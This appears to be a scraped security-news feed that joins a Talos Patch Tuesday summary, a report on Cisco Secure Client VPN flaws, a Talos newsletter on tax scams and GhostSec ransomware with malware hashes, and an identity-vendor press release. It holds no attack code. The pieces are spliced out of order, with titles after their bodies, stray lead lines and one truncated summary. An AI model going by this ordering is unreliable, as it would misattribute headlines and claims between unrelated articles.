End users can also support defenders by remaining vigilant for documents shared over unusual or uncommon sites, even if those sites are legitimate and have a favorable reputation, and by following their organization’s guidelines for reporting suspicious emails.

Threat actors leverage document publishing sites for ongoing credential and session token theft

March’s Patch Tuesday is relatively light, containing 60 vulnerabilities — only two labeled “critical.”

Tuesday, March 12, 2024 14:07

For the second month in 2024, there are no actively exploited vulnerabilities included in this month’s security update from Microsoft. 

March’s Patch Tuesday is relatively light, containing 60 vulnerabilities — only two labeled “critical.” Last month’s Patch Tuesday included more than 70 security vulnerabilities affecting Microsoft products, and there were even fewer in January and December, especially when compared to 2023.  

Still, both critical vulnerabilities addressed this month are notable because they affect Windows Hyper-V, potentially allowing an adversary to target a host machine from a virtual machine environment.   

All other vulnerabilities Microsoft disclosed Tuesday are considered to be of “important” severity.  

CVE-2024-21408 is a denial-of-service vulnerability in Windows Hyper-V that could allow an adversary to target a host machine from inside a VM. However, Microsoft did not provide any additional details on how this denial-of-service could occur, and despite being listed as critical, it only scored a 5.5 out of 10 in the CVSS severity scoring system.   

The other critical issue is CVE-2024-21407, a remote code execution also in Hyper-V. An attacker inside a VM environment could remotely execute code on the host machine by sending specially crafted file operation requests to hardware resources on the VM. However, the adversary would need to be authenticated inside the VM first and acquire certain, specific information about the environment to be gathered before a successful attack. 

Another remote code execution vulnerability — of which there are 19 in Tuesday’s release, CVE-2024-21334, exists in Open Management Infrastructure. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.  

CVE-2024-21334 is only considered by Microsoft to be “important,” though it has a CVSS score of 9.8 out of 10 — the highest of any vulnerability disclosed as part of March’s Patch Tuesday that affects a Microsoft product.  

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page. 

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. 

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63140, 63141, 63142, 63144, 63145, 63152, 63153, 63155, 63156, 63161, 63162 and 63169 - 63170. There are also Snort 3 rules 300855, 300856 and 300858 - 300860.

Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft

By Deeba Ahmed
Cisco announced patches for high-severity vulnerabilities on Wednesday, March 6, 2024.
This is a post from HackRead.com Read the original post: Cisco Fixes High-Severity Code Execution and VPN Hijacking Flaws

Critical security vulnerabilities patched in the Cisco Secure Client VPN application. Update now to protect your VPN connections from credential theft, unauthorized access, and potential code execution. This advisory also details unpatched flaws in Cisco Small Business wireless access points.

Network equipment giant Cisco has addressed critical security flaws impacting its Secure Client enterprise VPN application and endpoint security solutions. For your information, Secure Client is widely used to establish secure Virtual Private Network (VPN) connections. On Wednesday, Cisco announced patches for high-severity vulnerabilities CVE-2024-20337 (CVSS score: 8.2) and CVE-2024-20338 (CVSS score: 7.3).

CVE-2024-20337 is a Carriage Return Line Feed (CRLF) injection vulnerability allowing attackers to execute script code or access sensitive information in a browser if configured with the SAML External Browser feature.

The flaw affects Linux, macOS, and Windows versions of Secure Client, and can be exploited in CRLF injection attacks. CRLF injections are vulnerabilities where attackers inject CR and LF characters into web applications, adding extra headers or causing browsers to ignore original content.

Unauthenticated remote attackers can execute arbitrary scripts or steal sensitive information like users’ valid SAML authentication tokens to establish a remote access VPN session with the affected user’s privileges. However, individual hosts and services would require additional credentials for successful access, Cisco noted in its advisory.

Amazon security researcher Paulos Yibelo Mesfin discovered this flaw and it has been fixed in versions 4.10.04065, 4.10.08025, 5.0, and 5.1.2.42.

> A vulnerability I found in Cisco AnyConnect just got patched. CVE-2024-20337 is a powerful vulnerability. It grants external attackers access to internal networks when network users visit a website under attacker control. Stay vigilant! 🌊🔥⛓️https://t.co/Jy3qz4HJnU
> 
> — Paulos Yibelo (@PaulosYibelo) March 6, 2024

CVE-2024-20338 only affects Cisco Secure Client for Linux and its successful exploitation requires authentication. It can only be exploited by an authenticated, local attacker. The vulnerability allows the attacker to execute arbitrary code on an affected device with root privileges. They can copy a malicious library file to a specific directory and persuade an administrator to restart a specific process. 

Cisco advises enterprise admins to upgrade to one of the fixed versions, as version 5.1.2.42 of the VPN application resolves the bug.

Cisco has announced patches for several medium-severity flaws in AppDynamics Controller and Duo Authentication for Windows Logon and RDP, potentially leading to data leaks and secondary authentication bypass. The tech giant also warned about two flaws in Cisco Small Business 100, 300, and 500 Series wireless access points (APs), tracked as CVE-2024-20335, and CVE-2024-20336.

These flaws allow remote attackers to execute arbitrary code as the root user. However, Cisco won’t patch them because their Wireless APs have reached the end-of-life process. Similarly, the medium-severity flaws will remain unpatched for the same reason. Moreover, Cisco notes that it is not aware of any of these vulnerabilities being exploited in the wild.

Cisco has emphasized the need for cybersecurity vigilance and adopting security best practices. These include regularly updating software, using strong passwords and multi-factor authentication, being cautious with suspicious links, and preferring trustworthy Wi-Fi networks for sensitive VPN connections.

1.  New Cisco Web UI Vulnerability Exploited by Attackers
2.  Cisco Confirms Network Breach After Employee’s Gmail was Hacked
3.  Unpatched Cisco SD-WAN Manager Systems Exposed to DoS Attacks
4.  New Akira Ransomware Targets Businesses via Exploited CISCO VPNs
5.  Cisco Web UI Vulnerability Exploited Massly, Impacting Over 40K Devices

Cisco Fixes High-Severity Code Execution and VPN Hijacking Flaws

Cisco has released patches to address a high-severity security flaw impacting its Secure Client software that could be exploited by a threat actor to open a VPN session with that of a targeted user.
The networking equipment company described the vulnerability, tracked as CVE-2024-20337 (CVSS score: 8.2), as allowing an unauthenticated, remote attacker to conduct a carriage return line feed (CRLF

Cisco Issues Patch for High-Severity VPN Hijacking Bug in Secure Client

It’s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you’re in, but it’s not like you need to be particularly more skeptical in March and April.

Thursday, March 7, 2024 14:00

It’s that time of the year when not only do you have to be worried about filing your federal taxes in the U.S., you must also be on the lookout for a whole manner of tax-related scams.  

These are something that pop up every year through email, texts, phone calls and even physical mail — phony promises to get your tax return back faster, file your taxes “easy and free” or maximizing your possible return. Usually, the bad actors behind these are either looking to steal your money or personal information.  

One scam from last year’s tax season could have cost consumers up to $5,000 in penalties for trying to claim a fraudulent tax credit.  

And it turns out this isn’t just a problem in the U.S., either. We published new research last week into a trojan malware that’s been infecting victims in Mexico with tax-related spam emails and other social engineering tactics.  

Many countries across the world all have tax filing deadlines around the same time — Japan’s is just around the corner on March 15, in the U.S. it’s April 15, and several countries (Brazil, Canada, Chile, etc.) all share an April 30 filing deadline. So, adversaries all over the globe are going to be leveraging tax-related topics in their spam emails and social engineering campaigns in the coming weeks, trying to steal money, infect devices with malware, or steal critical personal information. 

It’s important to remember that this isn’t “peak spam season” or anything, though, and it’s not the time to spread FUD that, “Oh, your inboxes are going to be flooded with spam!” 

As I’ve written and talked about before, there isn’t more spam during tax season, it’s just different. Think about the confirmation bias that pops up when you buy a new car, and then suddenly you start seeing that car everywhere else on the road when you didn’t notice it as much before.  

Talos’ telemetry indicates that spam hasn’t increased during tax filing season in the U.S. for many years, and attackers’ tactics largely stay the same: Try to create a convincing offer, document, or link, and try to convince the target to engage with that social engineering in some form.  

It’s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you’re in, but it’s not like you need to be particularly more skeptical in March and April than any other time of the year. As soon as the tax filing deadline comes and goes, attackers will just start looking for the next hot topic to include in their phishing emails — presidential primaries, summer vacation deals or fake Amazon gift cards. 

If you want to hear more about this, listen to the episode of Talos Takes on this topic from last year below. 

**The one big thing **

An APT known as GhostSec has increased its ransomware activities over the past year and is now conducting “double extortion” ransomware attacks with fellow group Stormous. GhostSec and Stormous have also launched a new ransomware-as-a-service (RaaS) program STMX\_GhostLocker and are actively recruiting new affiliates or members.  

**Why do I care? **

Talos observed the GhostSec and Stormous ransomware groups operating together to conduct several double extortion attacks using the GhostLocker and StormousX ransomware programs against the victims in Cuba, Argentina, Poland, China, Lebanon, Israel, Egypt, Vietnam, Thailand and more nations, according to our assessment of the disclosure messages posted by the group in their Telegram channels and Stormous ransomware data leak site. This shows that the groups’ activities are not going to be contained just in one region or industry. RaaS has been a popular business model for many ransomware groups recently, which opens the door to other actors to use GhostSec’s tools by just paying them money.  

**So now what? **

Talos has released new IOCs to provide defenders with new ways to block these ransomware actors. One of the implants GhostSec specifically relies on injects an admin bypass and hacking tool targeting the WordPress content management system. Any WordPress users should make sure their login credentials are up-to-date and strong and check their site to ensure there aren’t any illegitimate plugins or processes running on their site.  

**Top security headlines of the week **

**A fake ransomware gang calling itself “Mogilevich” admitted that they made up a claim that it had hacked video game developer Epic and stolen personal information and game source code.** A leak page from the group claimed to have 200GB of data stolen from the company available for sale to other threat actors, or they would return the stolen information to Epic in exchange for a ransom payment. The group claimed it had "email, passwords, full name, payment information, source code and many other data." Epic immediately came forward sand said it had not detected any evidence of a hack or data breach. A few days after the claims went public, representatives from Mogilevich later came forward and called themselves “professional fraudsters” and they never hacked Epic’s network. Epic is known for the popular online platform and game “Fortnite.” The fraudsters also admitted that they had sold fake ransomware infrastructure to other would-be actors who wanted to carry out attacks themselves, including tricking one buyer out of $85,000. (Eurogamer, Cyber Daily) 

**A popular series of white-label security cameras are littered with an array of security vulnerabilities that could allow adversaries to collect images from their cameras without users knowing.** The cameras are manufactured by the same company, but sold under the labels of Eken and Tuck on popular websites like Amazon, Walmart, Sears and Temu. The doorbells also do not have a visible ID issued by the Federal Communications Commission (FCC) that’s normally required by the agency, which technically makes them illegal to distribute in the U.S., though many of them were still for sale as of late February. The vulnerabilities affect more than 10 different products, which are all controlled by the same app that’s available on the Android app store. All an adversary would need to do to exploit the vulnerabilities and spy on the camera would be to acquire the serial number — no notification is sent to the doorbell’s owner when there’s a new pairing, and the adversary doesn’t even need an account username or password. Retailers that list the cameras for sale did not respond to a request for comment from Consumer Reports, the outlet that performed the research. (Consumer Reports, TechCrunch) 

**Payment systems across the U.S. health care system are offline, with many doctors having to switch to paper billing,** after a massive data breach at Change Healthcare, a subsidiary of the UnitedHealth insurance company. Change Healthcare first disclosed the breach on Feb. 21 after adversaries disrupted operations for the company, which processes 15 billion health care-related transactions every year. Now the U.S. Department of Health and Human Services is urging health care systems and doctors who use Change to start developing alternatives, as they are unsure when systems will be back online. Change Healthcare is a system that connects doctors, hospitals and other health care providers with insurance companies to pay for medical care and authorize assorted services for patients. The follow-on effects have also been difficult on providers, who are now being faced with rent and other bills that they can’t pay because they still haven’t been paid by insurance companies. (USA Today, The New York Times) 

**Can’t get enough Talos? ** **Upcoming events where you can find Talos **

**Botconf** **(April 23 - 26)** 

_Nice, Côte d'Azur, France_

> _This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants._

**CARO Workshop 2024** **(May 1 - 3)** 

_Arlington, Virginia_

> Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

**RSA** **(May 6 - 9)** 

_San Francisco, California_  

**Most prevalent malware files from Talos telemetry over the past week  **

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5**: 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll   
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507    
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f    
**Typical Filename:** VID001.exe    
**Claimed Product:** N/A    
**Detection Name:** Win.Worm.Coinminer::1201 

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934   
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c   
**Typical Filename:** Wextract   
**Claimed Product:** Internet Explorer   
**Detection Name:** W32.File.MalParent 

**SHA 256:** 9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc   
**MD5:** 4813fa6d610e180b097eae0ce636d2aa   
**Typical Filename:** xmrig.exe   
**Claimed Product:** XMRig   
**Detection Name:** Trojan.GenericKD.70491190 

**SHA 256:** a75004c0bf61a2300258d99660552d88bf4e1fe6edab188aad5ac207babcf421   
**MD5:** c44f8ef0bbaeee256bfb62561c2a17db   
**Typical Filename:** ggzokjcqkgcbqiaxoohw.exe   
**Claimed Product:** N/A    
**Detection Name:** Symmi:GenMalicious-tpd

You’re going to start seeing more tax-related spam, but remember, that doesn’t actually mean there’s more spam

By cyberwire
Badge Launches Partner Program to Expand Availability of its Privacy-Enhancing “Enroll Once and Authenticate on Any Device” Software.
This is a post from HackRead.com Read the original post: Badge Launches Partner Program for ‘Enroll Once and Authenticate Any Device’ Software

**San Francisco, United States / California, March 7th, 2024, Cyberwire** – Identity Data Management and Analytics Provider Radiant Logic Joins Okta and Ping Identity in Partnership with Badge to Enable Privacy-Preserving Authentication.

Badge Inc., the award-winning privacy company enabling Identity without Secrets™, today launched a new Partner Program and welcomed Identity Data Management and Analytics provider Radiant Logic as its newest partner.

Radiant Logic joins Badge’s partner network alongside marquee identity partners, Okta and Ping Identity. The new Badge Partner Program further accelerates the adoption and integration of Badge’s privacy-preserving authentication, enabling even more users to benefit from seamless MFA experiences across any device or application without storing user secrets or private keys.

“We are thrilled to be working with Badge, enabling a best-in-class authentication solution that builds on top of our market-leading identity data management and identity analytics capabilities to provide greater privacy and security to our customers,” said Wade Ellery, Field CTO, of Radiant Logic.

The integration of Badge brings downstream value to Radiant Logic customers, allowing employees to enrol once and log into any application via RadiantOne using their preferred biometrics and factors of choice for a safe and holistic user experience across any device.

By eliminating passwords and stored secrets, Badge bolsters Radiant Logic’s extensible identity data platform to accelerate strategic initiatives such as digital transformation, Zero Trust, automated compliance, and data-driven governance.

****Zero Code Integration, SCIM Support, Resource Portal****

The Badge Partner Program extends best-in-class security platforms such as Radiant Logic, Okta and Ping Identity with unprecedented MFA experiences.

Benefits of joining the Badge Partner Program include:

*   Prioritized access to new features and capabilities leveraging Badge’s unique differentiator, enabling every user to be their cryptographic root of trust.
*   Zero-code integration using standard protocols, including OAuth 2.0, OIDC, SAML, FIDO, TLS, Kerberos, and others, offering effortless compatibility and enhanced functionality across a variety of systems and platforms.
*   SCIM (System for Cross-Domain Identity Management) support quickly syncs users from an organization’s primary directory, eliminating the need to manually create users and automatically ensuring the right users always have access to Badge.
*   Dedicated partner portal with relevant marketing materials to help streamline collaboration and empower partners in promoting Badge’s solutions effectively.
*   Library of technical documentation support to configure Badge in various customer environments, including Windows desktop login, web application single-sign-on, passkeys, legacy applications, etc.
*   Video demos and solution briefs illustrate end-user onboarding and authentication experiences for common use cases, such as uninterrupted device transitions for frontline workers, phishing-resistant account recovery, integration for removing private keys from workflows, etc.

“As organizations continue to realize the importance of privacy-preserving, secure, and user-friendly authentication solutions, our Partner Program is a response to new alliances and integrations with key players across the security ecosystem, moving Badge closer to our vision of becoming the identity backplane of the Internet,” said Charles Herder, Badge Co-founder and MIT Cryptography PhD.

“By fostering collaborations with industry leaders like Radiant Logic, Okta and Ping Identity, who have some of the largest footprints in the industry, we’re building a world where trust and privacy improve user experience and drive business value instead of being in tension with each other. This sets the stage for a more connected and secure online future for everyone.”

Badge renders PII and biometric credential storage obsolete, eliminating passwords, device redirects, and knowledge-based authentication (KBA). With Badge, the user simply enrolls once, and then seamlessly authenticates across ecosystems on any device using authentication factors that are unique and inherent to them.

Biometric factors such as fingerprint or face can be combined with other factors to create a strong and convenient MFA method that does not rely on a specific device or token to authenticate users. Badge empowers users to move freely across devices and platforms without losing access to their accounts or compromising security.

For more information on Badge’s Partner Program including how to join, please contact \[email protected\] for more information or to schedule a demo.

****About Badge****

Badge enables privacy-preserving authentication to every application, on any device, without storing user secrets or PII. Badge’s patented technology allows users to derive private keys on the fly using their biometrics and factors of choice without the need for hardware tokens or secrets. Badge was founded by field-tested cryptography PhDs from MIT and is venture-backed by tier 1 investors. Customers and partners include top Fortune companies across healthcare, banking, retail, and services.

****Contact****

*   **Frances Bigley**
*   **\[email protected\]**

Tag

#cisco